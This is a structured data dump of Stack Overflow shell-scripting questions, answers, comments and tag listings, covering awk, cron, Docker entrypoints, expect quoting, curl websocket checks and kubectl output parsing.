has body: #!/bin/awk -f function join(array, start, end, sep, result, i) { if (sep == "") sep = " " else if (sep == SUBSEP) # magic value sep = "" result = array[start] for (i = start + 1; i <= end; i++) result = result sep array[i] return result } /\047MATCH LINE\047/{ mline = NR+2 } FNR==NR{ main[NR] = $0 next } { out = $1 for (i=1; i<=length(main); i++){ if(i == mline){ n=split(main[i], a, " ") a[3]=$2 print join(a, 1, n) > out }else if (i == mline+1 && main[i] ~ /write output label .*/) { n=split(main[i], a, " ") a[4]=$2 print join(a, 1, n) > out }else{ print main[i] > out } } close(out) } ./tst.awk main ref $ head Out* ==> Out1 <== one line here This is the 'MATCH LINE' # this is just a comment Now this ONE to be updated write output label ONE another line here ==> Out2 <== one line here This is the 'MATCH LINE' # this is just a comment Now this TWO to be updated write output label TWO another line here ==> Out3 <== one line here This is the 'MATCH LINE' # this is just a comment Now this THREE to be updated write output label THREE another line here
has comment: http://stackoverflow.com/comment/134974181
has comment: http://stackoverflow.com/comment/134969669
answers question: http://stackoverflow.com/q/76549073

http://stackoverflow.com/comment/135214828
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/254512/discussion-between-sun-serega-and-simon-mourier).
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76690713

http://stackoverflow.com/comment/135204390
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76687621
has text: @MarceloGuedes I didnot understand what you mean by overcome the route binary. can you suggest what can i use there instead ?
type: Comment

http://stackoverflow.com/comment/134964148
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76545097
has text: Also, bear in mind that OP may not be literally searching for `term1`, `term2` - they could be searching for `cat` and `dog`, so writing things like `term[12]` is maybe not the most helpful.

http://stackoverflow.com/comment/135004419
score: 0
comment on: http://stackoverflow.com/q/76570156
has text: Fix your input JSON. The quotes are misplaced. The jq filter seems fine - https://jqplay.org/s/AbKf9UMR31l
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76602700
has answer: http://stackoverflow.com/a/76607368
type: AnsweredQuestion
tagged with: cron
has body: I'm having an issue with cronjobs in Ubuntu where its calling some commands and not others cronjob 30 * * * * /bin/bash /home/path/script/start.sh >> /tmp/test.txt start.sh #!/bin/bash cd /home/path/script echo "Its working" /usr/bin/git fetch /usr/bin/git pull origin echo "git" /usr/bin/python3 /home/path/script/main.py & echo "end" /var/log/syslog CRON[362212]: (ubuntu) CMD (/bin/bash /home/path/script/start.sh >> /tmp/test.txt) test.txt Its working Updating n83aw46..215iebd git end When I git log it still shows the previous git commit and when I run ps -ef | grep .py nothing shows up. I have confirmed cron daemon is running. ps -ef command also works with my test python script. I've also verified that both the main.py and start.sh files has chmod +x
accepted answer: http://stackoverflow.com/a/76607368
has comment: http://stackoverflow.com/comment/135060188
score: 0
type: Question
tagged with: shell
tagged with: linux
has title: Why is my cronjob not properly calling commands within .sh scripts?
answer count: 1
has comment: http://stackoverflow.com/comment/135060509
has comment: http://stackoverflow.com/comment/135063404
tagged with: bash
has comment: http://stackoverflow.com/comment/135059914

http://stackoverflow.com/tag/r
tag name: r
tags question: http://stackoverflow.com/q/76631928
type: Tag
tags question: http://stackoverflow.com/q/76996212
tags question: http://stackoverflow.com/q/77557342
tags question: http://stackoverflow.com/q/78147406
tags question: http://stackoverflow.com/q/78167188
tags question: http://stackoverflow.com/q/78621870
tags question: http://stackoverflow.com/q/79132551

python
tags question: http://stackoverflow.com/q/76551048
type: Tag
tags question: http://stackoverflow.com/q/76678493
tags question: http://stackoverflow.com/q/76703900
tags question: http://stackoverflow.com/q/76702391
tags question: http://stackoverflow.com/q/76660309
tags question: http://stackoverflow.com/q/76566011
tags question: http://stackoverflow.com/q/76560288
tags question: http://stackoverflow.com/q/76615031
tags question: http://stackoverflow.com/q/76655946
tags question: http://stackoverflow.com/q/76656090
tags question: http://stackoverflow.com/q/76710355
tag name: python
tags question: http://stackoverflow.com/q/76585150
tags question: http://stackoverflow.com/q/76721494
tags question: http://stackoverflow.com/q/76756050
tags question: http://stackoverflow.com/q/76765373
tags question: http://stackoverflow.com/q/76790806
tags question: http://stackoverflow.com/q/76739984
tags question: http://stackoverflow.com/q/76772095
tags question: http://stackoverflow.com/q/76790718
tags question: http://stackoverflow.com/q/76841948
tags question: http://stackoverflow.com/q/76952166
tags question: http://stackoverflow.com/q/77048492
tags question: http://stackoverflow.com/q/76951169
tags question: http://stackoverflow.com/q/76886382
tags question: http://stackoverflow.com/q/77042151
tags question: http://stackoverflow.com/q/76928930
tags question: http://stackoverflow.com/q/76911748
tags question: http://stackoverflow.com/q/77198302
tags question: http://stackoverflow.com/q/77082545
tags question: http://stackoverflow.com/q/77095520
tags question: http://stackoverflow.com/q/77216250
tags question: http://stackoverflow.com/q/77208432
tags question: http://stackoverflow.com/q/77163838
tags question: http://stackoverflow.com/q/77165700
tags question: http://stackoverflow.com/q/77122565
tags question: http://stackoverflow.com/q/77095262
tags question: http://stackoverflow.com/q/77289821
tags question: http://stackoverflow.com/q/77334146
tags question: http://stackoverflow.com/q/77340421
tags question: http://stackoverflow.com/q/77256837
tags question: http://stackoverflow.com/q/77412249
tags question: http://stackoverflow.com/q/77377014
tags question: http://stackoverflow.com/q/77348770
tags question: http://stackoverflow.com/q/77409089
tags question: http://stackoverflow.com/q/77310207
tags question: http://stackoverflow.com/q/77282273
tags question: http://stackoverflow.com/q/77316349
tags question: http://stackoverflow.com/q/77308580
tags question: http://stackoverflow.com/q/77278879
tags question: http://stackoverflow.com/q/77348356
tags question: http://stackoverflow.com/q/77321520
tags question: http://stackoverflow.com/q/77241304
tags question: http://stackoverflow.com/q/77255536
tags question: http://stackoverflow.com/q/77309756
tags question: http://stackoverflow.com/q/77277997
tags question: http://stackoverflow.com/q/77415449
tags question: http://stackoverflow.com/q/77464806
tags question: http://stackoverflow.com/q/77539624
tags question: http://stackoverflow.com/q/77451371
tags question: http://stackoverflow.com/q/77464325
tags question: http://stackoverflow.com/q/77544407
tags question: http://stackoverflow.com/q/77473871
tags question: http://stackoverflow.com/q/77466763
tags question: http://stackoverflow.com/q/77670604
tags question: http://stackoverflow.com/q/77679045
tags question: http://stackoverflow.com/q/77869546
tags question: http://stackoverflow.com/q/77906059
tags question: http://stackoverflow.com/q/77901350
tags question: http://stackoverflow.com/q/77941622
tags question: http://stackoverflow.com/q/77923380
tags question: http://stackoverflow.com/q/77865618
tags question: http://stackoverflow.com/q/77871888
tags question: http://stackoverflow.com/q/78046821
tags question: http://stackoverflow.com/q/78114651
tags question: http://stackoverflow.com/q/78000520
tags question: http://stackoverflow.com/q/78006568
tags question: http://stackoverflow.com/q/78131772
tags question: http://stackoverflow.com/q/77998471

http://stackoverflow.com/q/76551148
has comment: http://stackoverflow.com/comment/134971736
has comment: http://stackoverflow.com/comment/134971077
tagged with: shell
tagged with: nested-if
has comment: http://stackoverflow.com/comment/134971602
has comment: http://stackoverflow.com/comment/134971531
type: UnansweredQuestion
score: 1
answer count: 1
has title: Check if uid numbers in /etc/passwd are in a certain range and not already used, with nested ifs
upvote count: 1
favorite count: 0
has body: I am trying to check the uid's that are already used and in within a range from 1000 to 60000, with nested if conditions but only the range condition works. Also it prints the $hpass content. Any ideas how to improve the code? Thanks in advance for any suggestions! Here is my code: #!/bin/bash dbpasswd=$(cat /etc/passwd | cut -d ":" -f3 | sort -n) hpass=$(printf '%d\n' "$dbpasswd") #to put all numbers on separeate line while true; do read -p "Enter a number between 1000 and 59999" num echo "" if "$num" -gt 1000 && "$num" -lt 60000 ; then if "$num" -eq "$hpass" ; then echo "$num is already in use" else echo "$num is in range and not yet used!" break fi else echo "$num is out of range" fi done
downvote count: 0
tagged with: bash
has answer: http://stackoverflow.com/a/76551939
has comment: http://stackoverflow.com/comment/134971058
has comment: http://stackoverflow.com/comment/134971369
type: Question

http://stackoverflow.com/q/76656090
type: UnansweredQuestion
has body: I have a following Dockerfile for my python web project. It works perfectly however, entrypoint.sh script, cannot find some of the files, that suppose to be copied by Docker (internal files of the project). My Dockerfile FROM --platform=arm64 python:3.8.13-buster LABEL maintainer=kirklimushin@gmail.com WORKDIR /project/dir/ ENV PYTHONUNBUFFERED=1 COPY ./src ./ COPY ./__init__.py ./ COPY ./unittests ./ COPY ./environment.env ./ COPY ./module_requirements.txt ./ COPY ./module_constraints.txt ./ COPY ./entrypoint.sh ./ COPY ./rest_controllers.py ./ COPY ./settings.py ./ # creating new virtual environment RUN python -m venv fn_env # activating python virtual environment via shell RUN . ./fn_env/bin/activate # upgrading pip packet manager RUN pip install --upgrade pip RUN pip install --upgrade setuptools wheel # installing dependencies inside virtual environment RUN pip install -r module_requirements.txt -c module_constraints.txt RUN chmod +x entrypoint.sh ENTRYPOINT ./entrypoint.sh My shell script entrypoint.sh #!/bin/bash echo "Starting Entrypoint pipeline...." echo "Activating Virtual Environment" source ./project/dir/fn_env/bin/activate pip list echo "Running Unittests..." pytest ./project/dir/unittests/ml/test_models.py pytest ./project/dir/unittests/web/test_rest_controllers.py echo "Starting ASGI Server..." python ./project/dir/settings.py As aforementioned Dockerfile seems to work well, however, when it runs entrypoint.sh, it throws following error: /project/dir Starting Entrypoint pipeline.... Activating Virtual Environment Running Unittests... ./entrypoint.sh: line 9: ./project/dir/fn_env/bin/activate: No such file or directory ERROR: file or directory not found: ./project/dir/unittests/ml/test_models.py ERROR: file or directory not found: ./project/dir/unittests/web/test_rest_controllers.py It cannot find files. When I run pwd it shows, the current directory (aka. /project/dir/, which I specified inside my Dockerfile), so paths are supposed to be correct Looks…
tagged with: python
has comment: http://stackoverflow.com/comment/135150654
has comment: http://stackoverflow.com/comment/135150607
tagged with: bash
has comment: http://stackoverflow.com/comment/135152418
has comment: http://stackoverflow.com/comment/135150521
has comment: http://stackoverflow.com/comment/135150618
tagged with: docker
score: 0
type: Question
tagged with: shell
answer count: 0
has title: Shell cannot find copied files in Docker Container

http://stackoverflow.com/a/76592930
has body: You need to explicitly call sh -c because (a) you're not trying to execute a command; you're running a shell pipeline, and (b) even for a single command, exec requires an array, not a string argument. That is, these work: expect1.1> exec date Fri Jun 30 09:11:55 PM EDT 2023 expect1.2> exec echo "hello world" hello world But this will not: expect1.1> exec "echo hello world" couldn't execute "echo hello world": no such file or directory while executing "exec "echo hello world"" Because there is no command named echo hello world. And of course, if you want to take advantage of shell-specific syntax like pipelines (|), i/o redirection (<, >, etc), and so forth, then you need to actually use the shell: expect1.1> exec sh -c "echo hello world | sed s/world/people/" hello people
upvote count: 1
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/76592908

http://stackoverflow.com/a/76687621
has comment: http://stackoverflow.com/comment/135204146
has comment: http://stackoverflow.com/comment/135204975
score: 0
has body: .exe is an executable file to Windows. We use run "exe" file emulation through "Wine" software, but not for professional use. your bashrc conf is default or did you edit it? maybe a valid binary to your variables be only "route" export DOCKER_HOST_IP=$(route print | grep 0.0.0.0 | head -1 | awk '{print $4}') export DISPLAY=$(route print | grep 0.0.0.0 | head -1 | awk '{print $4}'):0.0 [suggestion] we can change the exports above by: export DOCKER_HOST_IP=$(ip -4 addr show scope global | awk '/inet/ {print $2}' | cut -d'/' -f1) export DISPLAY=$(ip -4 addr show scope global | awk '/inet/ {print $2}' | cut -d'/' -f1):0.0 Test if "route" command exists, otherwise theses variables definitions do will not work,or you can use "ip addr" instead.
answers question: http://stackoverflow.com/q/76686394
has comment: http://stackoverflow.com/comment/135204390
type: Answer
has comment: http://stackoverflow.com/comment/135203926
has comment: http://stackoverflow.com/comment/135204901
has comment: http://stackoverflow.com/comment/135204586
has comment: http://stackoverflow.com/comment/135204530
has comment: http://stackoverflow.com/comment/135204151

http://stackoverflow.com/comment/135216977
has text: Please [edit] your question to show the output of `curl -s https://www.url.com/` that you want to produce your shown final expected output from so we can use that to test a solution against.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76679026
type: Comment

http://stackoverflow.com/a/76598099
accepted answer of: http://stackoverflow.com/q/76597912
upvote count: 1
has body: Your escaping is off. You have an awk command that is enclosed in double quotes: "command | awk '... $1 ...'" The awk script is in single quotes, but those quotes are dummies; they are not quote syntax, because they are inside a double quote! The $1 is not protected by the single quotes at all; it is exposed to the double quote in which expansions like $1 are perfectly active. If your script has not been given any arguments, then $1 expands to nothing and your awk code is just { print }, which will include the path name with the SHA256. The path names ar enot equal, and so ... Try awk '{ print \$1 }' to defeat the special meaning of the dollar sign and preserve $1 so it can get through to the shell on the other side of the ssh connection.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76597912
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/135052087

http://stackoverflow.com/a/76629328
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76623990
has body: EDIT Apologies for the first script, I had overlooked the fact that you're under MacOS. The script has been updated and tested under Linux Debian 11 with GNU SED in posix mode, as well as under MacOS Mojave, so this time it should work as expected on your end. Assuming that what you want is to remove the -it* suffix in the containing folder (the penultimate path component), then the command: echo 'arinare-naturale-sexy-e-p0rchissima-f-it63s1vg0/index.htmli' | sed -e 's/-it[^-/]\{1,\}\(\/[^/\]*\)$/\1/' produces the following output: arinare-naturale-sexy-e-p0rchissima-f/index.htmli Hope that helps.
score: 1

http://stackoverflow.com/q/76617551
possible better answer: http://stackoverflow.com/a/76683372
has comment: http://stackoverflow.com/comment/135086244
has body: curl --insecure \ --no-buffer \ --header "Connection: Upgrade" \ --header "Upgrade: websocket" \ --header "Sec-WebSocket-Version: 13" \ --header "Sec-WebSocket-Key: websocket" \ -v \ https://127.0.0.1:443/blackhole i use this to check websocket interface success or fail when i execute this, the result is below: * About to connect() to 127.0.0.1 port 443 (#0) * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 443 (#0) * Initializing NSS with certpath: sql:/etc/pki/nssdb * skipping SSL peer certificate verification * SSL connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 * Server certificate: * subject: CN=CloudFlare Origin Certificate,OU=CloudFlare Origin CA,O="CloudFlare, Inc." * start date: May 15 13:49:00 2022 GMT * expire date: May 11 13:49:00 2037 GMT * common name: CloudFlare Origin Certificate * issuer: ST=California,L=San Francisco,OU=CloudFlare Origin SSL Certificate Authority,O="CloudFlare, Inc.",C=US > GET /blackhole HTTP/1.1 > User-Agent: curl/7.29.0 > Host: 127.0.0.1 > Accept: */* > Connection: Upgrade > Upgrade: websocket > Sec-WebSocket-Version: 13 > Sec-WebSocket-Key: websocket > < HTTP/1.1 101 Switching Protocols < Server: nginx/1.18.0 < Date: Wed, 05 Jul 2023 06:13:59 GMT < Connection: upgrade < Upgrade: websocket < Sec-WebSocket-Accept: qVby4apnn2tTYtB1nPPVYUn68gY= I want to extract the http status code 101 in the shell script How to do, please help, thanks I try some other way.use awk. curl --insecure --no-buffer --header "Connection: Upgrade" --header "Upgrade: websocket" --header "Sec-WebSocket-Version: 13" --header "Sec-WebSocket-Key: websocket" -v -i https://127.0.0.1:443/blackhole | awk '/^HTTP/{print $2}' it can show the 101, but when i use it into shell script, but it not work my shell script is below: #!/bin/bash result=$(curl --insecure --no-buffer --header "Connection: Upgrade" --header "Upgrade: websocket" --header "Sec-WebSocket-Version: 13" --header "Sec-WebSocket-Key: websocket" -v -i --silent https://127.0.0.1:443/b…
answer count: 2
has title: how to extract response status code from curl websocket interface in shell script
accepted answer: http://stackoverflow.com/a/76826520
has answer: http://stackoverflow.com/a/76683372
type: AnsweredQuestion
tagged with: websocket
has answer: http://stackoverflow.com/a/76826520
tagged with: curl
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135086133

http://stackoverflow.com/comment/135082605
type: QuestionComment
type: Comment
has text: Well, that's the right way. It depends on what `qsub` is doing. If `qsub` is itself a bash script, then you start getting into quoting hell. You have to start doing hacks like `INFO=\"$info\"` or `INFO="\"$info\""`.
score: 1
comment on: http://stackoverflow.com/q/76616176

http://stackoverflow.com/comment/135214745
type: Comment
has text: BTW, in the future you might consider [unix.se] for questions that are more about command-line usage than software development.
comment on: http://stackoverflow.com/q/76694496
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135144041
has text: @Shabiba Moshiri Thank you, your telegram script and the necessary guidelines helped me, I managed to redirect the messages to my channel, but a new question arose... I believe that some messages will be redirected in groups, making the message sent to telegram very large, there is any way to break/split the message? For example, I would like to send messages with a maximum of 4 lines, if the original message has, for example, 12 lines, I would like to split the message into 3, sending 3 messages containing 4 lines, is this possible?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76650930
score: 0

sftp
type: Tag
tags question: http://stackoverflow.com/q/76593397
tag name: sftp
tags question: http://stackoverflow.com/q/77840984
tags question: http://stackoverflow.com/q/78510294
tags question: http://stackoverflow.com/q/79021923

http://stackoverflow.com/q/76683610
answer count: 1
has answer: http://stackoverflow.com/a/76683785
has title: A bash command to sum up the numbers in a Kubernetes table?
tagged with: kubectl
has comment: http://stackoverflow.com/comment/135196221
accepted answer: http://stackoverflow.com/a/76683785
has body: After using k top pods -A in Kubernetes to get CPU usage and memory, is there any way to sum up those columns with a bash command? Or is it not possible for them to be converted to numbers because of the units? enter image description here I'd like to be able to get the sum of both of these columns, is there a bash command that could do this? I can't seem to figure out how to use awk to do it. I tried awk '{s+=$1}END{print s}', I couldn't really figure it out. The terminal just stopped taking input after that and didn't output anything. Would appreciate help, thanks!
tagged with: bash
tagged with: kubernetes
type: Question
type: AnsweredQuestion
score: 0
tagged with: shell

http://stackoverflow.com/comment/135150905
type: QuestionComment
has text: There also no guarantee that it doesn't start with -, the string can have any special characters at any position
comment on: http://stackoverflow.com/q/76656022
type: Comment
score: 0

http://stackoverflow.com/a/76547407
has body: awk -i inplace \ # change livros.txt in place -v title=$titulo ' # passing titulo variable as title BEGIN{ out = "No book found in the database" # set default output if title not found } $1==title { # if title found for example in first column # or '$0 ~ tilte' looking for title anywhere $6-=1 # decrease col 6 (stock) out = "Book sold successfully!" # set success output }1 # print all rows END{ print out # print output } ' livros.txt
answers question: http://stackoverflow.com/q/76546217
type: Answer
score: 0

http://stackoverflow.com/a/76703495
score: 0
type: Answer
has body: Here's some code that works: fn search_quotes(mut c: Vec<String>) -> Command { let mut i = 0; let mut has_quote = false; while i < c.len() { if has_quote { let s = c.remove(i); let s = if s.ends_with('"') { has_quote = false; &s[..s.len() - 1] } else { &s }; c[i - 1].push(' '); c[i - 1].push_str(s); } else { if c[i].starts_with('"') { c[i].replace_range(..1, ""); if c[i].ends_with('"') { let quote = c[i].len() - 1; c[i].replace_range(quote.., ""); } else { has_quote = true; } } i += 1; } } if has_quote { panic!("unmatched quote"); } Command { keyword: c.remove(0), args: c, } } It is not the more performant neither most idiomatic (for example, you probably don't want to panic on invalid input), but it demonstrates the idea.
answers question: http://stackoverflow.com/q/76703360
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76703360

http://stackoverflow.com/comment/134971058
score: 2
type: Comment
has text: Please add a valid shebang (`#!/bin/bash`) to your script, then paste it at http://www.shellcheck.net/ and try to implement all the recommendations made there.
comment on: http://stackoverflow.com/q/76551148
type: QuestionComment

http://stackoverflow.com/q/76575510
type: Question
has comment: http://stackoverflow.com/comment/135023088
has comment: http://stackoverflow.com/comment/135013962
has comment: http://stackoverflow.com/comment/135013126
tagged with: environment-variables
has answer: http://stackoverflow.com/a/76575601
answer count: 3
has comment: http://stackoverflow.com/comment/135013121
score: 0
linked to: http://stackoverflow.com/q/2232
linked to: http://stackoverflow.com/q/5564418
tagged with: shell
has answer: http://stackoverflow.com/a/76578437
has title: Accessing shell array/hash environment variables from Ruby
tagged with: ruby
tagged with: bash
type: UnansweredQuestion
has body: It appears that Ruby's ENV mechanism doesn't permit access to shell environment variables that are declared as arrays or associative arrays (hashes). (At least specific to the bash shell.) However, I cannot find this limitation documented anywhere. Is this in fact a hard and intentional limitation, or is there actually a way to access structured shell environment variabled from within Ruby?
has answer: http://stackoverflow.com/a/76575733
has comment: http://stackoverflow.com/comment/135013102
linked to: http://stackoverflow.com/q/4234119
has comment: http://stackoverflow.com/comment/135013280
has comment: http://stackoverflow.com/comment/135013018

http://stackoverflow.com/q/76577218
favorite count: 0
tagged with: iterm2
tagged with: ssh
type: Question
tagged with: rsync
answer count: 0
has body: Question: How do I change iTerm2's default downloading protocol, scp, to use rsync instead? I want to use the iTerm2's CMD+Click feature to download a file from a server that I am ssh'd into without having to write a lengthy command, example of a length command: rsync -avP username@hostname.com:/path/to/file.txt ~/Downloads Reason: I'm working in a server that prohibits scp, due to security reasons. Currently, iTerm2 allows the user to CMD+Click a file on a server they are ssh'd into, and it will download the file to use the users $HOME/Downloads directory (on OSX). But this fails for me due to the restriction on scp. Open to other ideas. I can, of course, simply use rsync to download it via commandline as stated above, but typing that a lot is cumbersome. I tried using ChatGPT to give me a the answer, but they suggested to go to the preferences, profile, and point me to a setting that did not exist. The iTerm2 FAQ https://iterm2.com/faq.html mentions that iTerm2 uses scp. I read the iTerm2 scp troubleshooting guide: https://gitlab.com/gnachman/iterm2/-/wikis/scp-not-connecting But it's not due to a connection problem.
has title: How do I change iTerm2 to use rsync instead of the default scp for downloading?
tagged with: scp
tagged with: shell
downvote count: 0
type: UnansweredQuestion
score: 1
upvote count: 1

http://stackoverflow.com/q/76592908
type: Question
tagged with: expect
tagged with: tcl
has body: I've got an expect script which seems to be failing... when I use puts to show me the contents of the command, it looks fine, but exec seems to be doing something funky which I've been struggling with for the past few minutes... any ideas? #!/usr/bin/expect -f set recipients { "abc@abc.com" "xyz@abc.com" } set body "Success!" set subject "File Upload Status" set email_sender "EmailSender <Email.Sender@abc.com>" set smtp_server "smtp://webmail.abc.com" set recipient_list [join $recipients ","] set cmd "echo \"$body\" | mailx -s \"$subject\" -r \"$email_sender\" -S smtp=$smtp_server \"$recipient_list\"" puts $cmd # Execute the mailx command exec $cmd The failure occurs at the exec and the error I am seeing is this: > ./test.expect echo "Success!" | mailx -s "File Upload Status" -r "EmailSender <Email.Sender@abc.com>" -S smtp=smtp://webmail.abc.com "abc@abc.com,xyz@abc.com" couldn't execute "echo "Success!" | mailx -s "File Upload Status" -r "EmailSender <Email.Sender@abc.com>" -S smtp=smtp:/webmail.abc.com "abc@abc.com,xyz@abc.com"": no such file or directory while executing "exec $cmd" (file "./test.expect" line 16) What am I doing wrong? I've tried putting double quotes and single quotes around the $cmd in the last line but nothing has worked. What I don't understand is why is the smtp server getting represented differently when getting executed but not when I run the puts command... if I change the last line to exec sh -c $cmd everything works. Why do I need to explicitly call sh -c and is there any way for me to avoid it?
tagged with: shell
possible better answer: http://stackoverflow.com/a/76592930
has comment: http://stackoverflow.com/comment/135043043
has answer: http://stackoverflow.com/a/76593036
type: AnsweredQuestion
has title: expect script failing on exec command
has comment: http://stackoverflow.com/comment/135058003
score: 0
accepted answer: http://stackoverflow.com/a/76593036
answer count: 2
has answer: http://stackoverflow.com/a/76592930

http://stackoverflow.com/tag/csv
tags question: http://stackoverflow.com/q/76697224
type: Tag
tag name: csv
tags question: http://stackoverflow.com/q/76805101
tags question: http://stackoverflow.com/q/77200388
tags question: http://stackoverflow.com/q/77288187
tags question: http://stackoverflow.com/q/77586302
tags question: http://stackoverflow.com/q/77616179
tags question: http://stackoverflow.com/q/77615960
tags question: http://stackoverflow.com/q/78791284
tags question: http://stackoverflow.com/q/78971884
tags question: http://stackoverflow.com/q/79143036
tags question: http://stackoverflow.com/q/79222633
tags question: http://stackoverflow.com/q/79281300
tags question: http://stackoverflow.com/q/79505924

http://stackoverflow.com/q/76682292
has comment: http://stackoverflow.com/comment/135196499
linked to: http://stackoverflow.com/q/19955260
has body: I am trying to extract some data from a DB and monitor it's progress, since the tool that pulls the data doesn't appear to have a mechanism for doing so. So, I fork the command chain and then continue to count the lines of the output file until it watch the count of rows expected. The problem is (I believe) I am forking the command chain properly. And, although indeed data does flow, it isn't forking, because the code that monitors the file isn't executing. What am I missing? I am tagging this with sqlplus incase someone from that community knows how to do this natively #!/usr/bin/env zsh set -e set -o pipefail set -x set -m function extract() { local from="${1:?You must supply a query from date as 'YYYY-MM-DD HH24:MI:SS'}" local to="${2:?You must supply a query from date as 'YYYY-MM-DD HH24:MI:SS'}" local u="${3:-${OMC_USERNAME:?no db username supplied}}" local p="${4:-${OMC_PASSWORD:?No db password supplied}}" local workdir records workdir="$(mkWorkdir "${from}" "${to}")" records=$(sqlplus -s "$u/$p@sredb1_high" @getdata.sql "${from}" "${to}" | tail +2 | tr -d ' ') # the first 2 lines are skipped because, apparently, when we do variable substitution, it lets us know # on stdout and not stderr (sqlplus -s "$u/$p@sredb1_high" @getdata.sql "${from}" "${to}" | tail +2 > "${workdir}/data.psv") & local process=$! local count="0" until [ "${count}" -eq "${records}" ]; do count=$(wc -l "${workdir}/data.psv") printf '%.2f%%\r' $((count / records)) sleep 5 done wait $process } Output (some execution you see if due to this code being loaded into another script, but I don't believe it's relevant): ./omc.sh extract '2023-05-01 00:00:00' '2023-05-01 23:59:59' + [[ 3 == 0 ]] ++ dirname ./omc.sh + source ./commands/extract.sh ++ set -e ++ set -o pipefail ++ set -x ++ set -m + extract '2023-05-01 00:00:00' '2023-05-01 23:59:59' + local 'from=2023-05-01 00:00:00' + local 'to=2023-05-01 23:59:59' + local u=uuu + local p=pppp + local workdir records ++ mkWorkdir '2023-05-01 00:00:00'…
has title: Forking a command series as a subprocess doesn't seem to work
tagged with: zsh
tagged with: sqlplus
score: 0
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135205271
has comment: http://stackoverflow.com/comment/135196644
has comment: http://stackoverflow.com/comment/135193986
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135193963
has comment: http://stackoverflow.com/comment/135212711
has comment: http://stackoverflow.com/comment/135205225
has comment: http://stackoverflow.com/comment/135194069
has comment: http://stackoverflow.com/comment/135194028

http://stackoverflow.com/comment/135062887
has text: @DavidMazethank you for your reply. The YAML file is imported into a daemon set, and the yaml file presented as a config. in the daemon set, the script is called to execute inside a Kubernetes node. And the script is passed as data from this YAML file.
score: 0
comment on: http://stackoverflow.com/q/76599721
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/137045193
comment on: http://stackoverflow.com/q/76574168
score: 0
has text: #1 Is your `\"G1/H77/J1\",\"G1/...` is a raw string to be used as a field in a valid json? #2 How do you know the curl is not taking the variable? Do you have a backend log of http controller /abc/def ?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135234021
score: 0
type: Comment
type: AnswerComment
has text: I can see the speed advantage of traversing once. But variant 2 was faster when traversing twice compared to variant 1 when traversing twice. Shouldn't variant 2 with traversing once be even faster?
comment on: http://stackoverflow.com/a/76705965

http://stackoverflow.com/comment/135159916
score: 0
type: QuestionComment
has text: Try creating a systemd service.
type: Comment
comment on: http://stackoverflow.com/q/76660309

http://stackoverflow.com/q/76697224
score: 0
type: Question
has title: convert xml to csv using xmlstarlet
tagged with: shell
has answer: http://stackoverflow.com/a/76697562
type: UnansweredQuestion
answer count: 1
tagged with: http://stackoverflow.com/tag/csv
has body: I'm trying to convert an .xml to .csv using xmlstarlet. My filename is test.xml. The .xml data is like this: <?xml version = '1.0' encoding = 'UTF-8'?> <ws_export xmlns="http://ws_export.ws.localhost/"> 02360236 023608 SAP- Stazione </ws_export> I've seen an example here, but the .xml file in the example has id with progressive numbers. I've tryed some bash command like this: xmlstarlet \ sel -T -t -m /Records/item\ -v "concat(CodIO,';',DescIO)" \ -n test.xml > test.csv In theory it should produce a .csv file which has column "CodIO, DescIO". But it doesn't work at all, I'm making an obvious error in the bash syntax but I'm not able to pinpoint it because of my limited knowledge. Could you please help me? Edit to add my desired output: a test.csv file with the column: CodIO, DescIO
has comment: http://stackoverflow.com/comment/135219220
tagged with: xmlstarlet
tagged with: http://stackoverflow.com/tag/xml
tagged with: xml-namespaces

http://stackoverflow.com/comment/135023088
comment on: http://stackoverflow.com/q/76575510
type: Comment
has text: [This](https://pubs.opengroup.org/onlinepubs/9699919799/functions/setenv.html) is the POSIX specification for setting an environment variable. As you see, there is no provision for arrays. Some shells provide the facility to pass "function definitions" through the environment; this is done by - under the hood - turning the function into a string and having the child process recreate the function. You could employ a similar strategy for your case.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135029884
score: 0
has text: Also, The answer to your previous questions, Yes there are other files in each parent directory (i.e., 1111, 2222, 333) too, but they are different files not directories. Many thanks! Finally I can proceed :)
type: Comment
comment on: http://stackoverflow.com/a/76585185
type: AnswerComment

http://stackoverflow.com/comment/135151867
type: QuestionComment
type: Comment
score: 0
has text: In general: `${var@Q}` expands to shell syntax that, when parsed by the same shell, will expand to the same value as `"$var"`. `${array[*]@Q}` does the same for an array. So if you have `cmd=( ./echo_string.sh '#string# )`, f/e, then you can get `cmd_q=${cmd[*]@Q}` to get something where you can `ssh hostname "$cmd_q"` _if the remote shell is guaranteed to be bash_ (and not `sh` or something else). And again, the details on how to adopt this to handle cases where the remote shell _isn't_ bash are already elsewhere in our knowledge base.
comment on: http://stackoverflow.com/q/76656022

http://stackoverflow.com/q/76703360
has answer: http://stackoverflow.com/a/76703495
score: 0
tagged with: shell
accepted answer: http://stackoverflow.com/a/76703495
duplicate of: http://stackoverflow.com/q/53498414
answer count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/53498414
tagged with: rust
tagged with: struct
type: Question
